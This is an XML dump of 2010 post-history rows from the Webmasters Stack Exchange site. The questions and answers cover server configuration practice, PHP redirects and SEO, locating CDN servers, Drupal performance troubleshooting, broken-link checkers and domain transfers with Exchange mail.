  <row Id="6239" PostHistoryTypeId="2" PostId="3185" RevisionGUID="4f362786-cebc-4166-956c-73d52beb88a7" CreationDate="2010-09-21T18:16:22.337" UserId="2020" Text="*Whilst this probably would be better suited to Server Fault, I guess it's good practice for webmasters. Here's a webmasters take on your question...*&#xD;&#xA;&#xD;&#xA;A few points:&#xD;&#xA;&#xD;&#xA; 1. **Give advance notice**. It's common courtesy and especially important on an e-commerce site. (Imagine spending hours filling a cart, only to have it all lost when some mug decides to restart apache.)&#xD;&#xA;&#xD;&#xA; 1. If possible, **do a dry run first**. Try out your planned changes on a local version of your server. This will save you from being offline for longer than necessary and will mean that any problems can be fixed in a low-stress setting.&#xD;&#xA;&#xD;&#xA; 1. **Make backups!** `cp php.ini php.ini.bak` only takes a few seconds and can save your ass if you botch things. No matter how trivial the modification, make a backup. And don't delete/overwrite it until everything's been thoroughly tested. (I personally keep stable versions indefinitely.)&#xD;&#xA;&#xD;&#xA; 1. Identify if there's a **quiet time** across all your sites. If all your e-commerce sites are targeted at users from one country, there'll probably be a quiet period in the early hours of the morning. Updating your server configuration will usually involve some downtime, even if it's just a few seconds, so time your update to annoy as few people as possible.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="6240" PostHistoryTypeId="6" PostId="443" RevisionGUID="5136ecf9-c9ac-4193-8d62-8f119ead5fb8" CreationDate="2010-09-21T19:23:07.643" UserId="1979" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;serps&gt;" />
  <row Id="6241" PostHistoryTypeId="2" PostId="3186" RevisionGUID="e47012ee-6a23-4f88-9fc8-a6ca2a3b57ea" CreationDate="2010-09-21T19:47:39.237" UserId="480" Text="Magic settings are normally site specific. You'll need to monitor what's going on in order to find the right questions of what to change in IIS7.&#xD;&#xA;&#xD;&#xA;What part of the performance chain is weakest?&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;What can you do to gain granular visibility in an accessible fashion?&#xD;&#xA;&#xD;&#xA;[Jesper Mortensen][1] is absolutely right [Steve's two books][2] are superb reading and accounted for a recent 5.5 second to 1.8 second speed boost ([webpagetest][3]) on a site we maintain. Stabilising the whole system based on logs helped us to keep the delivery stable across runs and ramp up at peak (over 50% of this was at the OS level). None of this could have been done in a 2 day time frame without monitoring at every level.&#xD;&#xA;&#xD;&#xA;There often isn't a check-list for every site beyond Steve Sounders work, you've got to know the problem before looking for the solution.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/users/1857/jesper-mortensen&#xD;&#xA;  [2]: http://www.google.co.uk/search?q=steve+souders+books&#xD;&#xA;  [3]: http://www.webpagetest.org/" />
  <row Id="6242" PostHistoryTypeId="2" PostId="3187" RevisionGUID="f01b6086-b4f9-4d28-b62d-895fe68490f8" CreationDate="2010-09-21T19:52:11.793" UserId="2031" Text="Any Subversion service will work for this. I use it all the time in this fashion. You don't need Subversion on your web server, just the client (TortoiseSVN is great if you are on Windows)&#xD;&#xA;&#xD;&#xA;devZing also provides &lt;a href=&quot;http://devzing.com/subversion&quot;&gt;hosted subversion&lt;/a&gt;" />
  <row Id="6243" PostHistoryTypeId="2" PostId="3188" RevisionGUID="2cf3f5fa-ab92-4668-a408-6d8aaf3bc4bb" CreationDate="2010-09-21T20:27:59.970" UserId="2033" Text="So I have 2 URLs that basically link to the main url using a symlink  &#xD;&#xA;&#xD;&#xA;     maindomain.com  &#xD;&#xA;     englishdomain.com -&gt; symlink to maindomain.com  &#xD;&#xA;     frenchdomain.com - &gt; symlink to maindomain.com/fr &#xD;&#xA;&#xD;&#xA;When someone actually lands on maindomain.com/index.php it will automatically redirect them to the appropriate symlink  &#xD;&#xA;&#xD;&#xA;The problem I'm having is I think it's affecting my google ranking and I'm not sure why..&#xD;&#xA;&#xD;&#xA;this is my redirect code&#xD;&#xA;&#xD;&#xA;    $url = &quot;http://&quot; . $_SERVER['HTTP_HOST'];&#xD;&#xA;    &#xD;&#xA;    if ( $url == 'http://www.maindomain.com' || $url == 'http://maindomain.com') {&#xD;&#xA;    	header('Location: http://www.englishdomain.com/');&#xD;&#xA;    }&#xD;&#xA;    if ( $url == 'http://www.frenchdomain.com' || $url == 'http://frenchdomain.com') {&#xD;&#xA;    	header('Location: http://www.frenchdomain.com/fr');&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Is it possible that it's affecting my google ranking? " />
  <row Id="6244" PostHistoryTypeId="1" PostId="3188" RevisionGUID="2cf3f5fa-ab92-4668-a408-6d8aaf3bc4bb" CreationDate="2010-09-21T20:27:59.970" UserId="2033" Text="Redirect page to symlink" />
  <row Id="6245" PostHistoryTypeId="3" PostId="3188" RevisionGUID="2cf3f5fa-ab92-4668-a408-6d8aaf3bc4bb" CreationDate="2010-09-21T20:27:59.970" UserId="2033" Text="&lt;google&gt;&lt;php&gt;&lt;redirects&gt;" />
  <row Id="6246" PostHistoryTypeId="2" PostId="3189" RevisionGUID="a59ad36e-4fb0-4b04-bf4b-eaa4269bf22f" CreationDate="2010-09-21T20:35:27.963" UserId="1603" Text="Acording to http://php.net/manual/en/function.header.php the header('Location: http://www.englishdomain.com/') command will send a 302 redirect to the client.&#xD;&#xA;&#xD;&#xA;You should use a 301 redirect if you want to 'transfer' the SEO Gold on maindomain.com to englishdomain.com.&#xD;&#xA;&#xD;&#xA;More info on the 301 and 302 diff here: http://www.bigoakinc.com/blog/when-to-use-a-301-vs-302-redirect/&#xD;&#xA;" />
  <row Id="6247" PostHistoryTypeId="2" PostId="3190" RevisionGUID="97aa0950-78f1-4763-a5ef-c0d7f757be72" CreationDate="2010-09-21T20:40:14.843" UserId="1979" Text="In addition to mawtex' answer (which I believe is correct):&#xD;&#xA;&#xD;&#xA;    // 301 Moved Permanently&#xD;&#xA;    header(&quot;Location: /foo.php&quot;,TRUE,301);&#xD;&#xA;&#xD;&#xA;...should do the trick. But please test this thoroughly." />
  <row Id="6248" PostHistoryTypeId="4" PostId="3100" RevisionGUID="2e2bdddc-4843-4a05-949b-4e684c046317" CreationDate="2010-09-21T20:44:29.567" UserId="1588" Comment="edited title; edited title" Text="Why does Google sometimes show fewer than the standard pair of lines for the &quot;snippet&quot;?" />
  <row Id="6249" PostHistoryTypeId="10" PostId="3168" RevisionGUID="f48f5729-e3b0-4b23-a88e-ee09085c98f1" CreationDate="2010-09-21T22:31:01.157" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="6250" PostHistoryTypeId="2" PostId="3191" RevisionGUID="b28cda96-91c3-42fe-a28e-93cbbb4e6855" CreationDate="2010-09-21T23:33:56.680" UserId="233" Text="If the page load is 20 seconds then there is likely a major bottleneck somewhere. APC might reduce it to 5-10 seconds but that's still not really good enough for the server-side. And it won't help if the bottleneck is a SQL query.&#xD;&#xA;&#xD;&#xA;Modules can slow the site a little but not by that much. Try disabling each one in turn to see if there are any big improvements.&#xD;&#xA;&#xD;&#xA;Another solution if you can't improve the speed that much is to cache pages as much as possible. With various sites (using CodeIgniter) I've found that it makes a HUGE difference - the server responds instantly and you really just have the client-side time.&#xD;&#xA;&#xD;&#xA;Depending on what you're including in the 20 second delay (i.e. server-side only or client-side as well) you may find [Yahoo's Best Practices][1] page useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="6251" PostHistoryTypeId="2" PostId="3192" RevisionGUID="37e234fb-181e-4aba-a491-b3ad34614227" CreationDate="2010-09-22T07:37:04.327" UserId="590" Text="**is caching turned on in `/admin/settings/performance` ?**&#xD;&#xA;&#xD;&#xA;It's worth double checking before you get into more complicated solutions.  " />
  <row Id="6252" PostHistoryTypeId="5" PostId="138" RevisionGUID="e44ab398-5576-497a-83ec-d7bf2576621e" CreationDate="2010-09-22T09:04:05.620" UserId="36" Comment="added 1 characters in body" Text="It completely depends on your user base.  In my line of work we support local councils so we have to maintain IE6 support as their computers are generally out of date and won't be upgraded for some time. If you are developing for a cutting edge audience however, then IE6 support will be less necessary.&#xD;&#xA;&#xD;&#xA;It is advised to make the website usable in IE6 by letting it degrade certain &quot;unsupported&quot; features gracefully. Just remember, dropping IE6 support **will** affect someone out there... it just depends whether you care or not. " />
  <row Id="6253" PostHistoryTypeId="2" PostId="3193" RevisionGUID="635dbd6a-e27d-4d88-920b-806a5ab213e4" CreationDate="2010-09-22T10:33:48.467" UserId="2026" Text="You can use vaious free CDN like photobucket, flickr etc. And can compress them locally using some PHP scripts like timthumb. is there any special need for APIs?&#xD;&#xA;If you feel that these scripts are eating bandwidth then you can search some free webhost provider which can host and run your own script from another server.&#xD;&#xA;&#xD;&#xA;    I like google since its DNS resolving time is too less. But it doent let me run my script :-(" />
  <row Id="6254" PostHistoryTypeId="2" PostId="3194" RevisionGUID="88049070-333e-4fd9-842b-c2ef6296eeee" CreationDate="2010-09-22T10:42:24.860" UserId="2026" Text="When someone open your site, content are arranged in a queue. Untill or unless 1st component is delievered other component cant be. So the overall loading speed of your site is increased.&#xD;&#xA;If you use some CDN then requests can be processed parrelaly. So the overall speed increases. &#xD;&#xA;&#xD;&#xA;&gt; You can use your own site as CDN from&#xD;&#xA;&gt; yourself by creating subdomain.&#xD;&#xA;&#xD;&#xA;Better to use google or wordpress for static contents. Their DNS resolving time is very less" />
  <row Id="6255" PostHistoryTypeId="2" PostId="3195" RevisionGUID="607f2cf8-d4b6-467c-a403-42e5b4de8a97" CreationDate="2010-09-22T10:58:46.387" UserId="576" Text="Are there any tools or online applications that can list where a CDN's servers are located?" />
  <row Id="6256" PostHistoryTypeId="1" PostId="3195" RevisionGUID="607f2cf8-d4b6-467c-a403-42e5b4de8a97" CreationDate="2010-09-22T10:58:46.387" UserId="576" Text="Is it possible to know where a CDN's servers are located?" />
  <row Id="6257" PostHistoryTypeId="3" PostId="3195" RevisionGUID="607f2cf8-d4b6-467c-a403-42e5b4de8a97" CreationDate="2010-09-22T10:58:46.387" UserId="576" Text="&lt;cdn&gt;" />
  <row Id="6258" PostHistoryTypeId="2" PostId="3196" RevisionGUID="988e36b1-0048-4381-a627-7d4eb98bd1f3" CreationDate="2010-09-22T11:09:38.610" UserId="1857" Text="**No, not really.**&#xD;&#xA;&#xD;&#xA;CDNs have servers in many places around the world. Furthermore, CDNs can be built on different network topologies -- mainly Split Horizon DNS and TCP/IP Anycast, or combination's thereof.&#xD;&#xA;&#xD;&#xA;So if someone wanted to chart at CDN POPs globally, it would be a **major** undertaking. You'd need to do measurements from *many* places around the globe, and use many different tools. Just as an example, Akamai isn't publicizing exactly how many servers they have, but it's likely [more than 61,000 servers][1].&#xD;&#xA;&#xD;&#xA;You best source for information about server placement / POPs is likely going to be the CDN vendor itself. And most of the big CDNs will not give exact details.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.datacenterknowledge.com/archives/2010/04/21/akamais-61000-servers-getting-greener/" />
  <row Id="6259" PostHistoryTypeId="5" PostId="3196" RevisionGUID="08afb9ac-a53b-4e60-aa75-ee753fe1114e" CreationDate="2010-09-22T11:15:44.610" UserId="1857" Comment="added 1 characters in body" Text="**No, not really.**&#xD;&#xA;&#xD;&#xA;CDNs have servers in many places around the world. Furthermore, CDNs can be built on different network topologies -- mainly Split Horizon DNS and TCP/IP Anycast, or combinations of these.&#xD;&#xA;&#xD;&#xA;So if someone wanted to chart all CDN POPs globally, it would be a **major** undertaking. You'd need to do measurements from *many* places around the globe, and use many different tools. Just as an example, Akamai isn't publicizing exactly how many servers they have, but it's likely [more than 61,000 servers][1].&#xD;&#xA;&#xD;&#xA;You best source for information about server placement / POPs is likely going to be the CDN vendor itself. And most of the big CDNs will not give exact details.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.datacenterknowledge.com/archives/2010/04/21/akamais-61000-servers-getting-greener/" />
  <row Id="6260" PostHistoryTypeId="2" PostId="3197" RevisionGUID="c424a5d4-6a49-4133-bd22-a426571e2f9f" CreationDate="2010-09-22T11:16:14.277" UserId="1204" Text="I doubt it would be possible to reliably detect the locations of any CDNs machines.&#xD;&#xA;&#xD;&#xA;*If* the service used fixed DNS names for *all* their machines that had the same mapping of name-&gt;address for every query *and* the names had a predictable pattern *and* no fancy routing techniques like [anycast][1] are used *and* all the machines were online at the time of your test, then you could find the IP addresses of the machines by brute force and then use ping timings and packet route traces to guess where each one is located. I doubt you will find any CDN (especially one of significant size) that all (if any) of the above conditions are true for though, and even if one did exist that all these conditions are true for, any ping and packet trace methods of geo-locating them will be far from an exact science.&#xD;&#xA;&#xD;&#xA;The only way to know would be to ask the CDN, get an answer (which is not likely to happen), and trust that answer is complete and accurate...&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Anycast" />
  <row Id="6261" PostHistoryTypeId="5" PostId="3196" RevisionGUID="5a4f0f44-c136-4384-9665-2d649585b3a6" CreationDate="2010-09-22T11:25:51.707" UserId="1857" Comment="added 590 characters in body" Text="**No, not really.**&#xD;&#xA;&#xD;&#xA;CDNs have servers in many places around the world. Furthermore, CDNs can be built on different network topologies -- mainly Split Horizon DNS and TCP/IP Anycast, or combinations of these.&#xD;&#xA;&#xD;&#xA;So if someone wanted to chart all CDN POPs globally, it would be a **major** undertaking. You'd need to do measurements from *many* places around the globe, and use many different tools. Just as an example, Akamai isn't publicizing exactly how many servers they have, but it's likely [more than 61,000 servers][1].&#xD;&#xA;&#xD;&#xA;With some of the big CDN players, who operate their own [Autonomous System][2], you can kind of get an idea by looking at their [IP ranges through the global registrars][3] like RIPE, ARIN etc. But that won't give you the full picture, as networks and server placements don't necessarily map 1:1 to each other.&#xD;&#xA;&#xD;&#xA;You best source for information about server placement / POPs is likely going to be the CDN vendor itself. And most of the big CDNs will not give exact details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.datacenterknowledge.com/archives/2010/04/21/akamais-61000-servers-getting-greener/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Autonomous_system_%28Internet%29&#xD;&#xA;  [3]: http://www.db.ripe.net/whois?form_type=advanced&amp;full_query_string=&amp;searchtext=akamai&amp;do_search=Search&amp;inverse_attributes=None&amp;ip_search_lvl=&amp;alt_database=RIPE&amp;object_type=All&amp;object_template=none" />
  <row Id="6262" PostHistoryTypeId="2" PostId="3198" RevisionGUID="be3e28e8-6d8f-4030-8963-661411bd0d4b" CreationDate="2010-09-22T11:39:45.883" UserId="2036" Text="We implement ARR module in IIS7, so we make a webFarm, ARR can cache your request on disk and increase performance, for us, that make a big difference.&#xD;&#xA;&#xD;&#xA;In the html page you can also use multi sub domain for your media, example :&#xD;&#xA;&#xD;&#xA;js.yourdomain.com&#xD;&#xA;img.yourdomain.com&#xD;&#xA;css.yourdomain.com &#xD;&#xA;&#xD;&#xA;etc .. Browser le ie, and i think other download simultanious 3 connexion by sub domain." />
  <row Id="6263" PostHistoryTypeId="2" PostId="3199" RevisionGUID="03ba5a99-dfe0-494f-b48d-9de0871d357a" CreationDate="2010-09-22T13:19:54.247" UserId="1429" Text="http://siteexplorer.search.yahoo.com/&#xD;&#xA;&#xD;&#xA;is much better than using &quot;link:yoursite.com&quot; in Google search.&#xD;&#xA;&#xD;&#xA;The 1st one will give you a much wider list of links to your site. Google &quot;link:yoursite.com&quot; used to give you many results too, but after they did some changes on it and now is returing nothing compared to what siteexplorer.search.yahoo.com returns.&#xD;&#xA;&#xD;&#xA;Unfortunately Microsoft took over Yahoo and there seem to be plans to turn siteexplorer off soon: [&quot;The Yahoo! Site Explorer team is planning tighter integration between Site Explorer and Bing Webmaster...&quot;][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.net/blog/archives/2010/08/api_updates_and_changes.html" />
  <row Id="6264" PostHistoryTypeId="6" PostId="3079" RevisionGUID="2ec26e7a-f311-486c-a145-319f645c1320" CreationDate="2010-09-22T13:29:28.830" UserId="1429" Comment="edited tags" Text="&lt;seo&gt;&lt;url&gt;&lt;url-format&gt;" />
  <row Id="6265" PostHistoryTypeId="2" PostId="3200" RevisionGUID="a55a01b2-179d-47d6-96bc-ec777b1e02a3" CreationDate="2010-09-22T14:04:54.697" UserId="1074" Text="When building PHP apps, I've found I can pick off low-level bottlenecks using Firefox or Chrome's developer tools.  Click on the resources tab and watch as the elements of the page load.  It's especially valuable when you're working with XHR requests (AJAX).&#xD;&#xA;&#xD;&#xA;Start by pinging the server.  I have a Dev machine that was in a similar situation the other day....The Dev machine is crawling, taking 10+ seconds to load.  But, I have identical code on another identical (but dedicated) server runs lightning fast.    Doing ping tests, it's painfully slow.  Turns out, the machine is shared and one of the other people with an account on the server is running an ultra high-bandwidth site (likely adult site) that is slowing down everyone else.  That offending site is now being moved off by the host.&#xD;&#xA;&#xD;&#xA;Xdebug is certainly a good option as mentioned above.  But it doesn't always get to the source of the problem if there aren't errors being thrown.  I'd start with the error log first, ensure more aren't being created.  Then Xdebug.&#xD;&#xA;&#xD;&#xA;I'd follow with disabling features one-by-one.  Also, it'd be worth monitoring server load to ensure that something unrelated isn't bogging down the MySql or Apache processes.  &#xD;&#xA;&#xD;&#xA;Finally, if the problem still isn't fixed, I'd isolate the areas I think are causing the problem and insert start/end microtime timestamps that I output to log or email.  It sounds silly easy, but I've found 200%+ performance increases in code using this method.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6266" PostHistoryTypeId="2" PostId="3201" RevisionGUID="33e3380d-3ef1-4eed-a8fb-a6393efd3b73" CreationDate="2010-09-22T14:32:03.863" UserId="1608" Text="Is there a broken-URL finder application that I could use to scan a website for broken links? (A Mac application would be better.)" />
  <row Id="6267" PostHistoryTypeId="1" PostId="3201" RevisionGUID="33e3380d-3ef1-4eed-a8fb-a6393efd3b73" CreationDate="2010-09-22T14:32:03.863" UserId="1608" Text="Broken URL Finder?" />
  <row Id="6268" PostHistoryTypeId="3" PostId="3201" RevisionGUID="33e3380d-3ef1-4eed-a8fb-a6393efd3b73" CreationDate="2010-09-22T14:32:03.863" UserId="1608" Text="&lt;links&gt;&lt;sitelinks&gt;&lt;dead-links&gt;" />
  <row Id="6269" PostHistoryTypeId="2" PostId="3202" RevisionGUID="9ec736da-78d6-4ce8-a852-c828e33cde48" CreationDate="2010-09-22T14:49:52.173" UserId="1089" Text="articlestack, using the comment/response to John Conde's reply where you use this article as an example:&#xD;&#xA;&#xD;&#xA;http://article-stack.com/featured/5-efficient-ways-to-hack-locked-folders.amty&#xD;&#xA;&#xD;&#xA;The following is in your examples meta data&#xD;&#xA;&#xD;&#xA;    &lt;meta name='description' content='Hack PC security in multiple ways. open any locked folder in some minutes without knowing password' /&gt;&#xD;&#xA;    &lt;meta name='keywords' content='pc security hack, unlock folder, crack, beginner, non-technical guide' /&gt;&#xD;&#xA;&#xD;&#xA;I would argue the keywords alone clearly breach the &quot;Hacking/cracking content&quot; John mentions.&#xD;&#xA;&#xD;&#xA;Edit - if it helps John's post was taken from here: https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=48182" />
  <row Id="6270" PostHistoryTypeId="2" PostId="3203" RevisionGUID="f5d2c1a6-a86a-4233-91f4-3473072f4612" CreationDate="2010-09-22T15:00:02.837" UserId="1064" Text="For Windows users: [Xenu][1]&#xD;&#xA;&#xD;&#xA;For *nix/Mac: [wget][2] (usually installed by default)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html&#xD;&#xA;  [2]: http://www.gorilla3d.com/v8/checking-for-borken-links.html" />
  <row Id="6275" PostHistoryTypeId="5" PostId="3183" RevisionGUID="c6da47ac-48c2-4164-9e20-62d39ce4037d" CreationDate="2010-09-22T16:27:11.720" UserId="2030" Comment="added few lines generated by devel module," Text="I'm using a drupal site with a theme from rockettheme.&#xD;&#xA;&#xD;&#xA;The users are member users. The problem is for unknown reason the site is very slow. Takes around 20 seconds to open the page.&#xD;&#xA;&#xD;&#xA;I have tried switching the VPS, but no performance gain.&#xD;&#xA;&#xD;&#xA;I'm not using many modules, that would bog down the site.&#xD;&#xA;&#xD;&#xA;What possible solutions should I look at to increase the site's speed to bring it to open in normal time.&#xD;&#xA;&#xD;&#xA;&gt;Executed 120 queries in 113.52 milliseconds. Queries taking longer than 5 ms and queries executed more than once, are highlighted. Page execution time was 2534.15 ms.&#xD;&#xA;&#xD;&#xA;&gt;Executed 87 queries in 24.6 milliseconds. Queries taking longer than 5 ms and queries executed more than once, are highlighted. Page execution time was 2609.59 ms.&#xD;&#xA;&#xD;&#xA;&gt;Executed 123 queries in 41.05 milliseconds. Queries taking longer than 5 ms and queries executed more than once, are highlighted. Page execution time was 1282.27 ms.&#xD;&#xA;&#xD;&#xA;I don't guess these are normal." />
  <row Id="6276" PostHistoryTypeId="2" PostId="3205" RevisionGUID="cd5acc9f-2b14-4dd5-bd00-ce5604dc5aed" CreationDate="2010-09-22T16:29:50.187" UserId="67" Text="While doing research for one of my company's mobile sites, I discovered that Google has provided an entire **serverside** [API for mobile analytics][1]. Meaning that it doesn't require javascript and that the tracking is done immediately, because the pagetracker .gif URI is constructed on your server and called straightaway from Google.&#xD;&#xA;&#xD;&#xA;My question is, What prevents me from using this across my ENTIRE site, mobile AND desktop?&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/mobile/analytics/" />
  <row Id="6277" PostHistoryTypeId="1" PostId="3205" RevisionGUID="cd5acc9f-2b14-4dd5-bd00-ce5604dc5aed" CreationDate="2010-09-22T16:29:50.187" UserId="67" Text="Can you use Google's Mobile Analytics API for non-mobile sites?" />
  <row Id="6278" PostHistoryTypeId="3" PostId="3205" RevisionGUID="cd5acc9f-2b14-4dd5-bd00-ce5604dc5aed" CreationDate="2010-09-22T16:29:50.187" UserId="67" Text="&lt;google-analytics&gt;&lt;analytics-api&gt;" />
  <row Id="6279" PostHistoryTypeId="5" PostId="3191" RevisionGUID="1e4fdb30-8414-487b-9a28-9f4eea790871" CreationDate="2010-09-22T16:31:40.447" UserId="233" Comment="added 611 characters in body" Text="If the page load is 20 seconds then there is likely a major bottleneck somewhere. APC might reduce it to 5-10 seconds but that's still not really good enough for the server-side. And it won't help if the bottleneck is a SQL query.&#xD;&#xA;&#xD;&#xA;Modules can slow the site a little but not by that much. Try disabling each one in turn to see if there are any big improvements.&#xD;&#xA;&#xD;&#xA;Another solution if you can't improve the speed that much is to cache pages as much as possible. With various sites (using CodeIgniter) I've found that it makes a HUGE difference - the server responds instantly and you really just have the client-side time.&#xD;&#xA;&#xD;&#xA;Depending on what you're including in the 20 second delay (i.e. server-side only or client-side as well) you may find [Yahoo's Best Practices][1] page useful.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To determine where the bottleneck is, have a look for profiler modules for Drupal (if there are any), they would tell you in which parts the code is slow. Or, you could add your own timing code to the template:&#xD;&#xA;&#xD;&#xA;    $time1 = microtime();&#xD;&#xA;    // some chunk of code&#xD;&#xA;    $time2 = microtime();&#xD;&#xA;    // another chunk of code&#xD;&#xA;    $time3 = microtime();&#xD;&#xA;    echo 'First chunk: ', ($time2-$time1/1000), ' seconds';&#xD;&#xA;    echo 'Second chunk: ', ($time3-$time2/1000), ' seconds';&#xD;&#xA;&#xD;&#xA;Repeat that in various places and you should be able to narrow it down to a section or two that is running for 10-20 seconds.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="6280" PostHistoryTypeId="2" PostId="3206" RevisionGUID="d2038c58-864a-4bc3-868a-839abb9058b2" CreationDate="2010-09-22T17:06:44.743" UserId="1161" Text="I'm creating a form and want to require / hide the state/province field based on the selected country. What countries require a state in the mailing address? For example, the United States does. " />
  <row Id="6281" PostHistoryTypeId="1" PostId="3206" RevisionGUID="d2038c58-864a-4bc3-868a-839abb9058b2" CreationDate="2010-09-22T17:06:44.743" UserId="1161" Text="What countries require a state/province in the mailing address?" />
  <row Id="6282" PostHistoryTypeId="3" PostId="3206" RevisionGUID="d2038c58-864a-4bc3-868a-839abb9058b2" CreationDate="2010-09-22T17:06:44.743" UserId="1161" Text="&lt;forms&gt;&lt;internationalization&gt;" />
  <row Id="6283" PostHistoryTypeId="2" PostId="3207" RevisionGUID="a18c0b10-ada7-4934-80b4-576f0015aa48" CreationDate="2010-09-22T17:13:13.697" UserId="70" Text="You might check out the various answers on a [respective question on Stack Overflow][1] - while they do mostly overlap with the ones given here in the meantime, there is some additional insight spread in the comments here and there.&#xD;&#xA;&#xD;&#xA;Other than that I'd like to stress one important thing again, as mentioned by [DisgruntledGoat][2] and [bpeterson76][3] already to some extent (+1 each):&#xD;&#xA;&#xD;&#xA;Despite Drupal not being the fastest CMS in the first place, the page load times you are seeing **aren't normal** at all (though possible on badly configured systems/servers) - therefore you really should **analyze and identify the cause(s) first**, before applying optimizations of any kind! Sure, some recommended optimizations *might* help even without that, but the golden rule for performance (and other) optimizations really is to understand the problem rather than trial and error.&#xD;&#xA;&#xD;&#xA;To get you started I'd like to  comment on three topics raised specifically and provide a pointer to more thorough documentation regarding the subject matter below:&#xD;&#xA;&gt; I have tried switching the VPS, but no performance gain&#xD;&#xA;&#xD;&#xA;* Okay, still you should check explicitly, whether the VPS and LAMP stack in use are performing normal in the first place (i.e. without Drupal)?&#xD;&#xA; * The answer from [bpeterson76][4] addresses possible causes.&#xD;&#xA;&#xD;&#xA;&gt; I think the main culprit is the theme.&#xD;&#xA;&#xD;&#xA;* Then you should verify this assumption, which is easily done by switching to another theme, preferably one with known performance characteristics, e.g. the default Garland theme.&#xD;&#xA;&#xD;&#xA;&gt; I don't think the SQL query is at fault. &#xD;&#xA;&#xD;&#xA;* You already realized that you should verify this assumption as well - this can be approached in various way, I'd start with the [devel module][5], which has various offers regarding *Performance Logging* including *SQL execution time* (the other stuff is useful as well of course).&#xD;&#xA; * Please note that for more precise SQL execution times you should resort to dedicated tools for the database system in use.&#xD;&#xA;&#xD;&#xA;All this, and a whole lot more, is addressed via [Drupal caching, speed and performance][6] - this resource hub might look overwhelming at first sight, but as I said **understanding the problem is key** for solving performance issues - to allow for a jump start still eventually, I specifically recommend to read [Server tuning considerations][7], in particular section *Understanding and configuring your stack for performance*.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/711705/tips-on-speeding-up-drupal-site&#xD;&#xA;  [2]: #3191&#xD;&#xA;  [3]: #3200&#xD;&#xA;  [4]: #3200&#xD;&#xA;  [5]: http://drupal.org/project/devel&#xD;&#xA;  [6]: http://drupal.org/node/326504&#xD;&#xA;  [7]: http://drupal.org/node/2601" />
  <row Id="6284" PostHistoryTypeId="2" PostId="3208" RevisionGUID="1c136e86-c8df-4cae-bb90-d2bf16c4913a" CreationDate="2010-09-22T17:40:58.720" UserId="2041" Text="I have a client who has their domain name registered through Network Solutions and their site hosted at GoDaddy. I checked at GoDaddy and they're not hosting the email accounts, so I asked the client and all they could tell me is they have Exchange. I'm trying to transfer the domain and hosting to a new host, but I don't want to mess up their email addresses at all. Since GoDaddy is not hosting the email and it's through exchange, will I be okay just transferring it, or will I need to do something with exchange to point to the new ip/nameservers/etc?" />
  <row Id="6285" PostHistoryTypeId="1" PostId="3208" RevisionGUID="1c136e86-c8df-4cae-bb90-d2bf16c4913a" CreationDate="2010-09-22T17:40:58.720" UserId="2041" Text="Domain transfer + Microsoft exchange" />
  <row Id="6286" PostHistoryTypeId="3" PostId="3208" RevisionGUID="1c136e86-c8df-4cae-bb90-d2bf16c4913a" CreationDate="2010-09-22T17:40:58.720" UserId="2041" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="6287" PostHistoryTypeId="2" PostId="3209" RevisionGUID="3ab89018-fb4e-41e0-8a5b-1c808f79b938" CreationDate="2010-09-22T19:58:19.490" UserId="1603" Text="If you ensure that the DNS transfer keep the existing MX records (and other records related to mail) you should be just fine.&#xD;&#xA;&#xD;&#xA;The [MX records][1] specify which hosts e-mail for the domain is sent to. If these hosts are also part of the domain, you should ensure that the records for those hosts are kept as well.&#xD;&#xA;&#xD;&#xA;You can check the MX records for a domain here: http://www.scanmailx.com/index.php?option=com_php&amp;Itemid=33&amp;lang=en&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/MX_record" />
  <row Id="6288" PostHistoryTypeId="2" PostId="3210" RevisionGUID="fa9d8698-f58f-4e72-8621-954504a57264" CreationDate="2010-09-22T20:27:29.550" UserId="1160" Text="I have been getting quite a few hits on my webservers for the resource `/USH.HTML`. I have never hosted this file, and do not know what it is. &#xD;&#xA;&#xD;&#xA;Is this a type of `robots.txt` file or something specific to a certain CMS?" />
  <row Id="6289" PostHistoryTypeId="1" PostId="3210" RevisionGUID="fa9d8698-f58f-4e72-8621-954504a57264" CreationDate="2010-09-22T20:27:29.550" UserId="1160" Text="What is USH.HTML and why do some robot try to access it?" />
  <row Id="6290" PostHistoryTypeId="3" PostId="3210" RevisionGUID="fa9d8698-f58f-4e72-8621-954504a57264" CreationDate="2010-09-22T20:27:29.550" UserId="1160" Text="&lt;robots.txt&gt;&lt;logging&gt;&lt;spider&gt;" />
